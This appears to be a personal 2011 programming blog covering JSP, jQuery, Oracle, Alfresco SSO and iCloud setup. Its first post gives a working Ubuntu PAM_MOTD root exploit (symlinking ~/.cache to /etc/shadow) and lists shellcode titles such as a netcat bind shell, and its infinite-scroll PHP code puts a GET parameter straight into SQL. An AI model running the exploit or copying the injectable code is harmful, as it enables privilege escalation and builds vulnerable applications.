Ujjwal's Blog

Ubuntu root access

2011-12-29T07:12:00.000-08:00

The PAM_MOTD exploit for Ubuntu is still not patched…

rm -rf ~/.cache;
ln -s /etc/shadow ~/.cache;
ssh localhost (trigger pam_motd by re-logging in and you’ll own /etc/shadow)

In a recent thread is was suggested that Linux was as vulnerable as Windows is and as proof a list of exploits were given that were published on almost the same day as the discussion. Here is the list that was given:
Quote

2011-07-08 Ubuntu PAM MOTD File Tampering (Privilege Escalation)
2011-07-05 linux/x86 polymorphic Drop suid shell root /tmp/.hiddenshell 161 bytes
2011-07-05 linux/x86 bind sh@64533 97 bytes
2011-07-05 linux/x86 lynx polymorphic shellcode 84 bytes
2011-07-05 linux/x86 setreuid(0,0) execve(“/bin/sh”,NULL,NULL) encoded 62 bytes
2011-07-05 linux/x86 /proc/sys/kernel/randomize_va_space SUB encoded 111 bytes
2011-07-05 linux/x86 bind port to 6678 XOR encoded polymorphic shellcode 125 bytes
2011-07-05 linux/x86 nc -lp 31337 -e /bin/sh polymorphic shellcode 91 bytes

Cheers,

Ujjwal Soni

Running Teamviewer 6 as root on linux

2011-12-29T07:08:00.000-08:00

While attempting to run teamviewer 6 on BT5, as usual, I got the error:

Error: TeamViewer must not be executed as root!

so the solution is simple

root@bt:~# cd /opt/teamviewer/teamviewer/6/bin/
root@bt:/opt/teamviewer/teamviewer/6/bin# gedit wrapper

then edit the file as

and instead of “die” just replace that with “echo”. This way it would run and every time remind you of security issues as well.

function validate_user()
{
local userid=$(id -u)

if [ $userid = 0 ] ; then
echo “TeamViewer must not be executed as root!”
fi
}

or simply just uncomment the whole if – fi structure.

Cheers!

Ujjwal Soni

The 3 virtues of a great programmer

2011-12-27T03:22:00.001-08:00

1. Laziness - The quality that makes you go to great effort to reduce overall energy expenditure. It makes you write labor-saving programs that other people will find useful, and document what you wrote so you don't have to answer so many questions about it. Hence, the first great virtue of a programmer. Also hence, this book. See also impatience and hubris.

2. Impatience - The anger you feel when the computer is being lazy. This makes you write programs that don't just react to your needs, but actually anticipate them. Or at least pretend to. Hence, the second great virtue of a programmer. See also laziness and hubris.

3. Hubris - Excessive pride, the sort of thing Zeus zaps you for. Also the quality that makes you write (and maintain) programs that other people won't want to say bad things about. Hence, the third great virtue of a programmer. See also laziness and impatience.

Source : wikipedia

Cheers,

Ujjwal Soni

How to Solve Apple iCloud Verification Email Problem

2011-12-12T05:15:00.000-08:00

Apple recently launched its cloud storage service, iCloud. When I tried setting up iCloud on my iPhone4, I was stuck with the verification email problem. The set up wizard kept asking for iCloud email verification but I couldn’t find any option to send or resend iCloud verification email to my email address so that I can verify it. On further research I found that Apple has changed the way it handles Apple ID. Your email address and Apple ID now have to be same; this is unlike how Apple used to handle Apple ID and email address. Till now you could create multiple Apple IDs with one email address or, in other words, a single email address could have been associated with multiple Apple IDs. This got me to the root of the problem why I was not receiving the iCloud verification email. If you are facing the same problem, please follow the steps below to receive iCloud verification email:

1. Go to https://appleid.apple.com/

2. Click on “Find out” link under “Not sure if you have an Apple ID?”

3. Fill out your first name, last name and the email address that you want to use for receiving iCloud verification email.

4. On the next screen, select “Email Authentication” option and click “Next”.

5. Now, go to your Email Inbox and you will find an email from Apple on how to reset the Apple ID password. Click on the “Reset your Apple ID password” link in the email.

6. You will be shown more than one Apple IDs that are associated with your email address.

7. Now, choose the Apple ID that you would NOT like to use for receiving iCloud verification email and click “Next”.

8. Reset the password for this account by providing a new password.

9. Login to Apple ID by visiting https://appleid.apple.com/ and clicking “Manage your account” link. Use the Apple ID that you would NOT like to use for receiving iCloud verification email and the password that you had just set.

10. Click on “Edit” link under “Primary Email Address” section, provide a new email address. Click “Save”.

11. Click Sign Out.

Once you have changed the email address for the Apple ID that you would NOT like to use for receiving iCloud verification email, it’s time to set things right in the Apple ID that you would like to use for iCloud services. Just log in to your account https://appleid.apple.com/with Apple ID that you would like to use for receiving iCloud verification email. You should now see the link to resend verification email under your email address. Click on that link, confirm your email address and you will be all set to use iCloud.

TinyMCE Text Area

2011-12-09T04:17:00.000-08:00

Hi All,

Recently i was preparing an application which was based on JSP/Struts, i had a requirement to implement custom font, color selection for each text area on the screen (the screen had multiple text-areas), i found a cool script which allows me to implement visual effects to my text areas, TinyMCE is a platform independent web based Javascript HTML WYSIWYG editor control released as Open Source under LGPL by Moxiecode Systems.

http://www.tinymce.com

Its very easy and fast to implement..:)

Thanks,

Ujjwal Soni

Create Secure Jars

2011-11-10T03:21:00.000-08:00

Hi.

Recently, There was a need to create JARS which cannot be decompiled as I want to secure my source code.

I found obfuscated jar. bytecode obfuscator modifies the content of source files in such a way that their behaviour is unaffected while minimizing the amount of info from the source code thats exposed. Retroguard was the well known commercial obfuscator for java. There are opensource s/w as well.

See the official link and choose the one that fits your needs.

http://www.linkedin.com/redirect?url=http%3A%2F%2Fjava-source%2Enet%2Fopen-source%2Fobfuscators&urlhash=vWAH

Cheers,

Ujjwal Soni

CSS Compression Online Tool

2011-11-10T03:09:00.000-08:00

CSS Compressor online tool to compress CSS to reduce CSS code size and make your web pages load faster. You can select from four levels of compression, depending on how legible you want the compressed CSS to be versus degree of compression. It is quick, easy and free!

http://www.csscompressor.com/

Cheers,

Ujjwal Soni

ORA-01006: bind variable does not exist

2011-11-06T22:41:00.000-08:00

Hi,

Recently one of my collegue faced an error as "ORA-01006: bind variable does not exist". We could'nt rectify the reason for this error, later on, we discovered that there was a comma missing in callable statement parameter declaration.

it was something like ::

  CallableStatement cstmt =
             dbConnection.prepareCall("{call my_new_proc(?,?,?,?" + "?,?" +")}");

which should be like ::

  CallableStatement cstmt =
             dbConnection.prepareCall("{call my_new_proc(?,?,?,?" + ",?,?" +")}");

There can be many reasons for this error, but the one which we discovered was this one.

Cheers,

Ujjwal Soni

How to use multiple onloads with external scripts ?

2011-10-18T04:18:00.000-07:00

Hi All,

First of all thanks for visiting my blog. I recently working on oracle portlets and i had to add multiple portlets on my single page, that created conflict since both portlets had onload events and that created multiple onload events.

Scripts probably conflict most often when using the onLoad event. Have you ever used code like this?

window.onload=myInitFunction;

This is fine if you're sure myInitFunction() will be the only function that needs to be called when the page is loaded. But how can you know for sure? What if a page that calls your script has code in its ? What if there's another external script on the page that also assigns a function to the onload event? The code above will overwrite what was there with your code and that's not good.

Use the function below to add your function without replacing what is already in the onLoad.

function addOnloadEvent(fnc){
  if ( typeof window.addEventListener != "undefined" )
    window.addEventListener( "load", fnc, false );
  else if ( typeof window.attachEvent != "undefined" ) {
    window.attachEvent( "onload", fnc );
  }
  else {
    if ( window.onload != null ) {
      var oldOnload = window.onload;
      window.onload = function ( e ) {
        oldOnload( e );
        window[fnc]();
      };
    }
    else
      window.onload = fnc;
  }
}

example ::

addOnloadEvent(myFunctionName);

// Or to pass arguments

addOnloadEvent(function(){ myFunctionName('myArgument') });

Cheers,

Ujjwal Soni

JSF code snippet: integrating JSF pages into a plain old JSP

2011-09-06T06:03:00.000-07:00

A simple way to include a JSF page into a bigger JSP (sure there's other ways, but this one is easy):
the JSF page must be a subview:

<%@ taglib uri="http://java.sun.com/jsf/html" prefix="h"%>
<%@ taglib uri="http://java.sun.com/jsf/core" prefix="f"%>
<f:subview id="myJSFSubview">
.....
</f:subview>

The tricky part is how to include it in the JSP, in a way that is independent of the main JSP. But you just need to include like this:

<% pageContext.include("myJSFpage.jsf"); %>

Cheers,

Ujjwal Soni

Simple Java tricks to protect your web application against SQL injection

2011-09-06T05:58:00.000-07:00

Your application is vulnerable to SQL Injection when you send unfiltered strings to the database. Most modern ORM frameworks should take care of it (but don't take my word!... go ahead and check how secure your framework is).
Sometimes, you have to work with plain JDBC (or ODBC). Here is a couple of tricks that help:

1. First and foremost, avoid concatenating strings for SQL queries. Use prepared statements unless is not possible (i.e. cases when you have undefined number of parameters)
2. Leverage the language type system: If you're passing a number, use Integer instead of String... any invalid character will fail the conversion and will not reach the DB.
3. If there's no option but concatenate strings, make sure the database comment quotes are escaped (for example, in DB2 you have to replace the single quote character with 2 single quote characters: instead of "SELECT * FROM users WHERE name='"+param+"'" use "SELECT * FROM users WHERE name='"+param.replaceAll("'","''")+"'"

For something a little more advanced, you can wrap the strings in some kind of "EscapedString" class, and use that class in the signature of the DAOs (related to 2. )

Note: by no means this is a comprehensive list. Application security is very hard, check your database documentation...

Cheers,

Ujjwal Soni

How to Protect Against MySQL Injection on User Login Form

2011-09-06T05:40:00.000-07:00

The below mysql database query is to to protect your database against MySQL injection through user login forms. This preventive action make spammers stay away from running the database query on your database with out your knowledge

Query to Protect Against MySQL Injection via Login Form

$username = stripslashes($username);
$password = stripslashes($password);
$username = mysql_real_escape_string($username);
$password = mysql_real_escape_string($password);

Cheers,

Ujjwal Soni

-- In Dreams And In Love There Are No Impossibilities --

What will happen to Java, in Oracle's hands ?

2011-09-05T04:50:00.000-07:00

I was asked by my friend few days back that "What will happen to Java, in Oracle's hands ?"

My answer was.. INSERT INTO "Oracle" SELECT * FROM "Sun"

'...Open source will continue at Oracle - along with Java. It could even profit. Just don't expect it to help anybody else.'

It will help. Oracle has more money than SUN.

I don't think it will become more proprietary. IBM, Redhat, Apache etc. will not allow that.

Java is OK. JVM is not OK. But at least we have CacaoVM and some opensource implementations, once Oracle will bastardize it. On the other hand, I don't think they want to screw it up on a main trunk. They did this to RedHat clone, called Oracle Linux, that is completely rubbish distribution. I would more worry about OpenSolaris — there might be started some unpleasant "fun" from Oracle... :-(

Java became popular because of open policies of Sun. Any attempt to commercialize or make Java more proprietary will turn out to be a bad move for technology.

I think Oracle will try to make more money from Java licenses and try to control Java and use it for competitive advantage, which will make other Java vendors insecure and will eventually move away from Java. In a free market Oracle is free to do this, but it will not be good for the technology.

Use it if you like it, don't try to own it

I just hope there won't appear String2 that is null and an empty string at the same time, as they did to VARCHAR... :-)

Cheers,

Ujjwal Soni

-- In Dreams And In Love There Are No Impossibilities --

Top "MUST HAVE" habits of a great software developer to ensure creating a world class quality coding product

2011-09-05T03:16:00.000-07:00

Below are some of top "MUST HAVE" habits of a great software developer to ensure creating a world class quality coding product ::

1) Self discipline. So much bad code is due to laziness by developers who don't do what they know should be done.

2) Assume the code written doesn't work unless it is proven to work.
Don't assume that things will never fail. In other words, assume things will fail and provide for clean handling of it. Error messages reporting errors are required. Crash on error is unacceptable.

3) Hangs are unacceptable. All code should be bounded in time and an error must be reported if it runs over.
Do your own testing. It doesn't matter if you have a separate test group. Do your own testing anyway.

4) Never assume that a user will never do something with the code. Assume that a user will do anything and everything possible. Provide clean handling and error messages for everything not allowed.

5) The developer should insure that the code compiles with zero warning messages.
Always use a source code repository, even in a “team” of one person. The repository should be backed-up properly.

6) Never check-in code to a main repository that doesn't compile cleanly. Check-in to a branch repository for checkpointing or backups is ok.

7) Teamwork - few things are small enough or require so few skills that one person can do them well.

8) Discipline - do things right *all the time* if you want top quality.
Ability, Experience - one needs to learn on the job; they say you tend to get expert only after 10,000 hours at a skill.

9) Breadth - you need to understand other people's vision not just your own, or what you make will suit you and nobody else.

10) Luck - whether your idea or somebody else's, you need a good idea AND the luck to get it to market at the right time.

11) A good team - what you can't put toward the effort yourself, the rest of the team needs to supply.

12) Knowledge - especially of design patterns (and have to remember that they are giving direction, not the right solution) and frameworks

13) TESTS - they are prooving that the code works. He/she must write tests automatically without thinking: do I have to?

14) Digging in problems - it laverages the knowledge and gives him/her deep understanding of technology

15) Curiosity - to be up to date with other concepts

16) Document everything (tomorrow you do not remember what is in your head today).

17) Pay attention to what your customer - requirements analyst says and work with him/her. Do not assume that you know their needs better. It is their needs. Do not assume that your work is just writting code, it is also discussing your plans and results with your clients.

18) Always plan your next task and sketch a model of what you will build.

19) Always check on the internet for things you need. It is very rare that you were the first to need them. For every hint you get try to give something back to the community. If there is an open source project near your needs use it and expand it. It is better to focus on your new task than reinventing the wheel.

20) Always take some time to check if you need to use a new tool or programming language. A good programmer is not tied to a specific language, however he can be very good or specialized at one or more.

21)Proper error/exception handling... make sure that app should not crash

22)He/She should be 'Continuous Learner' and upgrade their skills in respective domain time to time..

23)Last,but not least, Think 'out of box'. Smart people can easily entertain new ideas, thoughts, and ways of doing things.

Cheers!!!

Ujjwal Soni

-- In Dreams And In Love There Are No Impossibilities

Alfresco Webdav SSO Configuration

2011-08-11T23:55:00.000-07:00

Hi,

I finally configured Oracle SSO with Alfresco Webdav. Below is how i achieved that.

I need to run Alfresco on tomcat deployed on other virtual machine, i created a class file as under

-- STEP 1

package my.custom;



import java.io.IOException; 

import java.util.List;

import java.util.Locale;



import javax.servlet.Filter;

import javax.servlet.FilterChain;

import javax.servlet.FilterConfig;

import javax.servlet.ServletContext;

import javax.servlet.ServletException;

import javax.servlet.ServletRequest;

import javax.servlet.ServletResponse;

import javax.servlet.http.HttpServletRequest;

import javax.servlet.http.HttpServletResponse;

import javax.servlet.http.HttpSession;

import javax.transaction.UserTransaction;



import org.alfresco.model.ContentModel;

import org.alfresco.repo.security.authentication.AuthenticationComponent;

import org.alfresco.repo.security.authentication.AuthenticationException;

import org.alfresco.service.ServiceRegistry;

import org.alfresco.service.cmr.repository.NodeRef;

import org.alfresco.service.cmr.repository.NodeService;

import org.alfresco.service.cmr.security.AuthenticationService;

import org.alfresco.service.cmr.security.PersonService;

import org.alfresco.service.transaction.TransactionService;

import org.alfresco.web.app.Application;

import org.alfresco.web.app.servlet.AbstractAuthenticationFilter;

import org.alfresco.web.app.servlet.AuthenticationHelper;

import org.alfresco.web.bean.LoginBean;

import org.alfresco.web.bean.repository.User;

import org.alfresco.web.config.LanguagesConfigElement;

import org.apache.commons.logging.Log;

import org.apache.commons.logging.LogFactory;

import org.springframework.extensions.config.ConfigService;

import org.springframework.extensions.surf.util.I18NUtil;

import org.springframework.web.context.WebApplicationContext;

import org.springframework.web.context.support.WebApplicationContextUtils;

import org.alfresco.web.bean.repository.Repository;







public class WebDavAuthentication extends AbstractAuthenticationFilter implements Filter {

private static final String LOCALE = "locale";

public static final String MESSAGE_BUNDLE = "alfresco.messages.webclient";

private static Log logger = LogFactory.getLog(OSSOAuthenticationFilter.class);

private ServletContext context;

private String loginPage;

private AuthenticationComponent authComponent;

private AuthenticationService authService;

private TransactionService transactionService;

private PersonService personService;

private NodeService nodeService;

private List m_languages;



public OSSOAuthenticationFilter() {

super();

}



public void destroy() {

// Nothing to do

}



/**

* Run the filter

*

* @param sreq

* ServletRequest

* @param sresp

* ServletResponse

* @param chain

* FilterChain

* @exception IOException

* @exception ServletException

*/

public void doFilter(ServletRequest sreq, ServletResponse sresp, FilterChain chain) throws IOException, ServletException {

// Get the HTTP request/response/session

HttpServletRequest req = (HttpServletRequest) sreq;

HttpServletResponse resp = (HttpServletResponse) sresp;

HttpSession httpSess = req.getSession(true);



String userName = null;

//Get headers setted by the oracle sigle sign one server

java.util.Enumeration reqMap = req.getHeaders("Osso-User-Dn");



if (reqMap == null) {

logger.error("No user logged in");

} else {

while (reqMap.hasMoreElements()){

//Get from the full dn the username

userName = ((String)reqMap.nextElement()).split(",")[0].trim().toString().split("=")[1].trim().toString();

//String tmp = value.split(",")[0].trim().toString();

//userName = tmp.split("=")[1].trim().toString();

}

}



if (logger.isDebugEnabled()) {

logger.debug("OSSO : User = " + userName);

}



// See if there is a user in the session and test if it matches

User user = (User) httpSess.getAttribute(AuthenticationHelper.AUTHENTICATION_USER);



if (user != null) {

try {

// Debug

if (logger.isDebugEnabled())

logger.debug("OSSO : User " + user.getUserName() + " validate ticket");



if (user.getUserName().equals(userName)) {

UserTransaction tx1 = transactionService.getUserTransaction();

try {

tx1.begin();

authComponent.setCurrentUser(user.getUserName());

tx1.commit();

}catch(Exception ex){

logger.error("Failed due to transaction " + ex);

try {

tx1.rollback();

} catch (Exception ex2) {

logger.error("Failed to rollback transaction", ex2);

}



}

I18NUtil.setLocale(Application.getLanguage(httpSess));

chain.doFilter(sreq, sresp);

return;

} else {

// No match

//setAuthenticatedUser(req, httpSess, userName);

//below url is th oracle portal url

resp.sendRedirect("http://hostname:7778/alfresco");

return;

}

} catch (AuthenticationException ex) {

if (logger.isErrorEnabled())

logger.error("Failed to validate user " + user.getUserName(), ex);

}

}



setAuthenticatedUser(req, httpSess, userName);



// Redirect the login page as it is never seen as we always login by name

if (req.getRequestURI().endsWith(getLoginPage()) == true)

{

if (logger.isDebugEnabled())

logger.debug("Login page requested, chaining ...");



resp.sendRedirect(req.getContextPath() + "/faces/jsp/browse/browse.jsp");

return;

}

else

{

//below url is th oracle portal url

resp.sendRedirect("http://hostname:7778/alfresco");

//chain.doFilter(sreq, sresp);

return;

}



}



/**

* Set the authenticated user.

*

* It does not check that the user exists at the moment.

*

* @param req

* @param httpSess

* @param userName

*/

private void setAuthenticatedUser(HttpServletRequest req, HttpSession httpSess, String userName) {

if (userName != null){

UserTransaction tx1 = transactionService.getUserTransaction();

// Set the authentication

try {

tx1.begin();

authComponent.setCurrentUser(userName);

tx1.commit();

} catch (Throwable ex) {

logger.error(ex);

try {

tx1.rollback();

} catch (Exception ex2) {

logger.error("Failed to rollback transaction", ex2);

}

}



// Set up the user information

UserTransaction tx = transactionService.getUserTransaction();

NodeRef homeSpaceRef = null;

User user;

try {

tx.begin();

user = new User(userName, authService.getCurrentTicket(), personService.getPerson(userName));

homeSpaceRef = (NodeRef) nodeService.getProperty(personService.getPerson(userName), ContentModel.PROP_HOMEFOLDER);

if(homeSpaceRef == null) {

logger.warn("Home Folder is null for user '"+userName+"', using company_home.");

homeSpaceRef = (NodeRef) nodeService.getRootNode(Repository.getStoreRef());

}

user.setHomeSpaceId(homeSpaceRef.getId());

tx.commit();

} catch (Throwable ex) {

logger.error(ex);



try {

tx.rollback();

} catch (Exception ex2) {

logger.error("Failed to rollback transaction", ex2);

}



if (ex instanceof RuntimeException) {

throw (RuntimeException) ex;

} else {

throw new RuntimeException("Failed to set authenticated user", ex);

}

}



// Store the user

httpSess.setAttribute(AuthenticationHelper.AUTHENTICATION_USER, user);

httpSess.setAttribute(LoginBean.LOGIN_EXTERNAL_AUTH, Boolean.TRUE);



// Set the current locale from the Accept-Lanaguage header if available

Locale userLocale = parseAcceptLanguageHeader(req, m_languages);



if (userLocale != null) {

httpSess.setAttribute(LOCALE, userLocale);

httpSess.removeAttribute(MESSAGE_BUNDLE);

}



// Set the locale using the session

I18NUtil.setLocale(Application.getLanguage(httpSess));

}

}



public void init(FilterConfig config) throws ServletException {

this.context = config.getServletContext();

WebApplicationContext ctx = WebApplicationContextUtils.getRequiredWebApplicationContext(context);

ServiceRegistry serviceRegistry = (ServiceRegistry) ctx.getBean(ServiceRegistry.SERVICE_REGISTRY);

transactionService = serviceRegistry.getTransactionService();

nodeService = serviceRegistry.getNodeService();



authComponent = (AuthenticationComponent) ctx.getBean("authenticationComponent");

authService = (AuthenticationService) ctx.getBean("authenticationService");

personService = (PersonService) ctx.getBean("personService");



// Get a list of the available locales

ConfigService configServiceService = (ConfigService) ctx.getBean("webClientConfigService");

LanguagesConfigElement configElement = (LanguagesConfigElement) configServiceService.getConfig("Languages").getConfigElement(LanguagesConfigElement.CONFIG_ELEMENT_ID);



m_languages = configElement.getLanguages();

}



/**

* Return the login page address

*

* @return String

*/

private String getLoginPage() {

if (loginPage == null) {

loginPage = Application.getLoginPage(context);

}



return loginPage;

}

}

-- STEP 2 Place this class file under

C:\Alfresco\tomcat\webapps\alfresco\WEB-INF\classes\my\custom

-- STEP 3 Now you need to configure proxy pass in oc4j's httpd.conf file

$ORACLE_HOME/Apache/Apache/conf/httpd.conf, add the following entries:                                                                                    ProxyPass /alfresco/ http://host:8080/alfresco/



ProxyPass /alfresco http://host:8080/alfresco/





ProxyPassReverse /alfresco/ http://host:8080/alfresco/



ProxyPassReverse /alfresco http://host:8080/alfresco/

-- STEP 4 Now you need to enable sso on oracle portal

edit $ORACLE_HOME/Apache/Apache/conf/mod_osso.conf, add the following lines just before the :

require valid-user

AuthType Basic





require valid-user

AuthType Basic



Please restart apache after you have made this configuration

-- STEP 5 Edit web xml file under

C:\Alfresco\tomcat\webapps\alfresco\WEB-INF



paste below lines before Authentication Filter 



<filter>

<filter-name>Osso Filter</filter-name>

<filter-class>my.custom.OSSOAuthenticationFilter</filter-class>

</filter>



<filter-mapping>

<filter-name>Osso Filter</filter-name>

<url-pattern>/faces/jsp/browse/browse.jsp</url-pattern>

</filter-mapping>



<filter>

<filter-name>Osso Filter</filter-name>

<filter-class>my.custom.OSSOAuthenticationFilter</filter-class>

</filter>



<filter-mapping>

<filter-name>Osso Filter</filter-name>

<url-pattern>/alfresco</url-pattern>

</filter-mapping>

-- STEP 6 If alfresco is already running then stop and start alfresco
service from start menu under start -> alfresco -> stop alfreco
virtual server

Thats it, now oracle sso is configured successfully for Alfreco

Try opening http://oc4jserverhost/alfresco, it will redirect to oracle
portal sso login page, enter credentials, it will then redirect you to
alfresco home page on successful login.

Any issues implementing this, feel free to contact me..

Cheers,

Ujjwal Soni

Conflicting standard.jar with OC4J server

2011-08-02T05:51:00.000-07:00

Today i was working on an application that was to be deployed on LIVE oc4j application server. The deployment went successful but when the application was being tested there were many errors as below related to standard. jar that was in OC4J lib and in my application's classpath.

The errors i got are as under ::

11/08/02 13:31:07 vqwiki.WikiException: org.apache.taglibs.standard.tag.common.core.Util.escapeXml(Ljava/lang/String;)Ljava/lang/String;
11/08/02 13:31:07       at vqwiki.servlets.SaveTopicServlet.doPost(SaveTopicServlet.java:150)
11/08/02 13:31:07       at javax.servlet.http.HttpServlet.service(HttpServlet.java:760)
11/08/02 13:31:07       at javax.servlet.http.HttpServlet.service(HttpServlet.java:853)
11/08/02 13:31:07       at com.evermind.server.http.ServletRequestDispatcher.invoke(ServletRequestDispatcher.java:835)
11/08/02 13:31:07       at com.evermind.server.http.ServletRequestDispatcher.forwardInternal(ServletRequestDispatcher.java:341)
11/08/02 13:31:07       at com.evermind.server.http.ServletRequestDispatcher.forward(ServletRequestDispatcher.java:230)
11/08/02 13:31:07       at vqwiki.servlets.VQWikiServlet.dispatch(VQWikiServlet.java:107)
11/08/02 13:31:07       at vqwiki.servlets.WikiServlet.doPost(WikiServlet.java:733)
11/08/02 13:31:07       at javax.servlet.http.HttpServlet.service(HttpServlet.java:760)
11/08/02 13:31:07       at javax.servlet.http.HttpServlet.service(HttpServlet.java:853)
11/08/02 13:31:07       at com.evermind.server.http.ServletRequestDispatcher.invoke(ServletRequestDispatcher.java:835)
11/08/02 13:31:07       at com.evermind.server.http.ServletRequestDispatcher.forwardInternal(ServletRequestDispatcher.java:341)
11/08/02 13:31:07       at com.evermind.server.http.ServletRequestDispatcher.forward(ServletRequestDispatcher.java:230)
11/08/02 13:31:07       at vqwiki.servlets.FrontControllerFilter.doFilter(FrontControllerFilter.java:91)
11/08/02 13:31:07       at com.evermind.server.http.EvermindFilterChain.doFilter(EvermindFilterChain.java:16)
11/08/02 13:31:07       at vqwiki.servlets.SetCharacterEncodingFilter.doFilter(SetCharacterEncodingFilter.java:74)
11/08/02 13:31:07       at com.evermind.server.http.ServletRequestDispatcher.invoke(ServletRequestDispatcher.java:670)
11/08/02 13:31:07       at com.evermind.server.http.ServletRequestDispatcher.forwardInternal(ServletRequestDispatcher.java:341)
11/08/02 13:31:07       at com.evermind.server.http.HttpRequestHandler.handleNotFound(HttpRequestHandler.java:1038)
11/08/02 13:31:07       at com.evermind.server.http.HttpRequestHandler.processRequest(HttpRequestHandler.java:853)
11/08/02 13:31:07       at com.evermind.server.http.AJPRequestHandler.run(AJPRequestHandler.java:231)
11/08/02 13:31:07       at com.evermind.server.http.AJPRequestHandler.run(AJPRequestHandler.java:136)
11/08/02 13:31:07       at com.evermind.util.ReleasableResourcePooledExecutor$MyWorker.run(ReleasableResourcePooledExecutor.java:192)
11/08/02 13:31:07       at java.lang.Thread.run(Thread.java:534)

I resolved this error by editing my web application's orion-web.xml

I un-commented below line from the file :

 <!-- Uncomment this element to control web application class loader behavior. -->
        <web-app-class-loader search-local-classes-first="true"  include-war-manifest-class-path="true" />

Regards,

Ujjwal Soni

Load Data while Scrolling Page Down with jQuery and PHP

2011-07-25T02:20:00.000-07:00

Hi All,

Today, i will show you data loading while page scrolling down with jQuery and PHP. We have lots of data but can not display all. This script helps you to display little data and make faster your website.

Database Table

 
CREATE TABLE messages(

mes_id INT PRIMARY KEY AUTO_INCREMENT,

msg TEXT);

load_data.php

When we are scrolling down a webpage, the script($(window).scroll) finds that you are at the bottom and calls the last_msg_funtion(). Take a look at $.post("") eg: $.post("load_data.php?action=get&last_msg_id=35")

<?php
include('config.php');
$last_msg_id=$_GET['last_msg_id'];
$action=$_GET['action'];

if($action <> "get")
{
?>

<script type="text/javascript" src="jquery.js"></script>
<script type="text/javascript">
$(document).ready(function()
{
function last_msg_funtion()
{
var ID=$(".message_box:last").attr("id");
$('div#last_msg_loader').html('<img src="bigLoader.gif">');
$.post("load_data.php?action=get&last_msg_id="+ID,

function(data){
if (data != "") {
$(".message_box:last").after(data);
}
$('div#last_msg_loader').empty();
});
};

$(window).scroll(function(){
if ($(window).scrollTop() == $(document).height() - $(window).height()){
last_msg_funtion();
}
});
});
</script>
</head>
<body>
<?php
include('load_first.php'); //Include load_first.php
?>
<div id="last_msg_loader"></div>
</body>
</html>
<?php
}

else
{
include('load_second.php'); //include load_second.php
}
?>

load_first.php
Contains PHP code to load 20 rows form the message table.
<?php
$sql=mysql_query("SELECT * FROM messages ORDER BY mes_id DESC LIMIT 20");
while($row=mysql_fetch_array($sql))
{
$msgID= $row['mes_id'];
$msg= $row['msg'];
?>
<div id="<?php echo $msgID; ?>" class="message_box" > 
<?php echo $msg; ?>
</div> 
<?php
} 
?>

load_second.php

Contains PHP code to load 5 rows less than last_msg_id form the message table.

<?php
$last_msg_id=$_GET['last_msg_id'];
$sql=mysql_query("SELECT * FROM messages WHERE mes_id < '$last_msg_id' ORDER BY mes_id DESC LIMIT 5");
$last_msg_id="";
while($row=mysql_fetch_array($sql))
{
$msgID= $row['mes_id'];
$msg= $row['msg']; 
?>
<div id="<?php echo $msgID; ?>" class="message_box" > 
<?php echo $msg;
?>
</div>
<?php
} 
?>

CSS

body
{
font-family:'Georgia',Times New Roman, Times, serif;
font-size:18px;
}
.message_box
{
height:60px;
width:600px;
border:dashed 1px #48B1D9;
padding:5px ;
}
#last_msg_loader
{
text-align: right;
width: 920px;
margin: -125px auto 0 auto;
}
.number
{
float:right;
background-color:#48B1D9;
color:#000;
font-weight:bold;
}

Please let me know any problems implementing this or any suggetions you have.

Cheers,

Ujjjwal Soni

Cool jQuery Progress Indicator

2011-07-21T04:22:00.000-07:00

Today I am going to show you how you can create a cool progress indicator to tell your end user that something is going on behind the back of an action. Below is an image of the progress indicator that slides from the top to the middle of the screen then displays the processing message then slides up and disappears once done. This code does not use any other 3rd party jquery plugin to display progress indicator.

<html>
<head>
    <script src="scripts/jquery.js"></script>
    <script type="text/javascript" >
        var $j = jQuery.noConflict();
        $j(document).ready(function(){
            $j("#btnSubmit").click(function(){
                $j("#messenger").css("width", document.body.offsetWidth);
                    $j("#messenger").css("height", document.body.offsetHeight);
                    $j("#messenger").css("opacity",.7);
                    $j("#messenger").fadeIn('fast');
                $j("#messengermessage").css("width", document.body.offsetWidth);
                $j("#messengermessage").animate({opacity: "1", top: "+=" + addToAnimation, height: "100", width: document.body.offsetWidth}, "slow")
                    var myhtml = '<div style="float:left; position:relative; padding-top:30px;"><img src="images/processing.gif" /></div><div style="float:left; position:relative; padding-top:40px;"><font style="font-family:verdana; font-size:14px;color:#000000; font-weight:bold;">saving attachments...</font></div>'
                    $j("#messengermessage").html("");
                    $j("#messengermessage").html(myhtml);
                $j.post('handlers/EmployeeRequisition.ashx', {
                    requestedBy : GetRequestedBy(),
                                requestor : GetRequestor(),
                                requisitionDate : $j("#dtpRequisitionDate").val()
                },
                        function(data) {
                    myhtml = '<div style="float:left; position:relative; padding-top:30px;"><img src="images/processing.gif" /></div><div style="float:left; position:relative; padding-top:40px;"><font style="font-family:verdana; font-size:14px;color:#000000; font-weight:bold;">form saved... </font></div>'
                                $j("#messengermessage").html("");
                                $j("#messengermessage").html(myhtml);
                                $j("#messengermessage").animate({opacity: "1"},2000, function(res) {
                                var subtractThis = document.body.offsetHeight - 500;
                                $j("#messengermessage").animate({opacity: "0", top: "-=" + subtractThis, height: "0", width: document.body.offsetWidth}, "slow")
                                    $j("#messenger").fadeOut('fast');
                            });
            });
        });
    </script>
</head>
<body style="font-family: Verdana; margin: 0px;">
    <form id="frmHR001" runat="server">
    <div>
        ............

    </div>
    <div>

        <input type="button" id="btnSubmit" value="submit" />
    </div>
    <div id="messenger" style="float: none; position: absolute; width: 100%; height: 100%;
            background-color: #000000; display: none; left: 0; top: 0;">
        </div>
        <div id="messengermessage" style="float: none; position: absolute; width: 100%; height: 100px;
            background-color: #ffffff; display: none; left: 0; top: 0; text-align: center;">
            <div style="float: left; position: relative; padding-top: 30px;">
                <img src="images/processing.gif" />
            </div>
            <div style="float: left; position: relative; padding-top: 40px;">
                <font style="font-family: Verdana; font-size: 14px; color: #000000; font-weight: bold;">
                    processing...</font>
            </div>
        </div>
    </form>
</body>
</html>

The code is quite long but then again it achieves our purpose. Let me know if there are any issues implementing this code.



Cheers,

Ujjwal Soni

Java Gets New Garbage Collector, But Only If You Buy Support

2011-07-19T02:44:00.000-07:00

"The monetization of Java has begun. Sun released the Java 1.6.0_14 JDK and JRE today which include a cool new garbage collector called G1. There is just one catch. Even though it is included in the distribution, the release notes state 'Although G1 is available for use in this release, note that production use of G1 is only permitted where a Java support contract has been purchased.' So the Oracle touch is already taking effect. Will OpenJDK be doomed to a feature-castrated backwater while all the good stuff goes into the new Java SE for Business commercial version?"

To try G1, specify these command line options:
-XX:+UnlockExperimentalVMOptions -XX:+UseG1GC

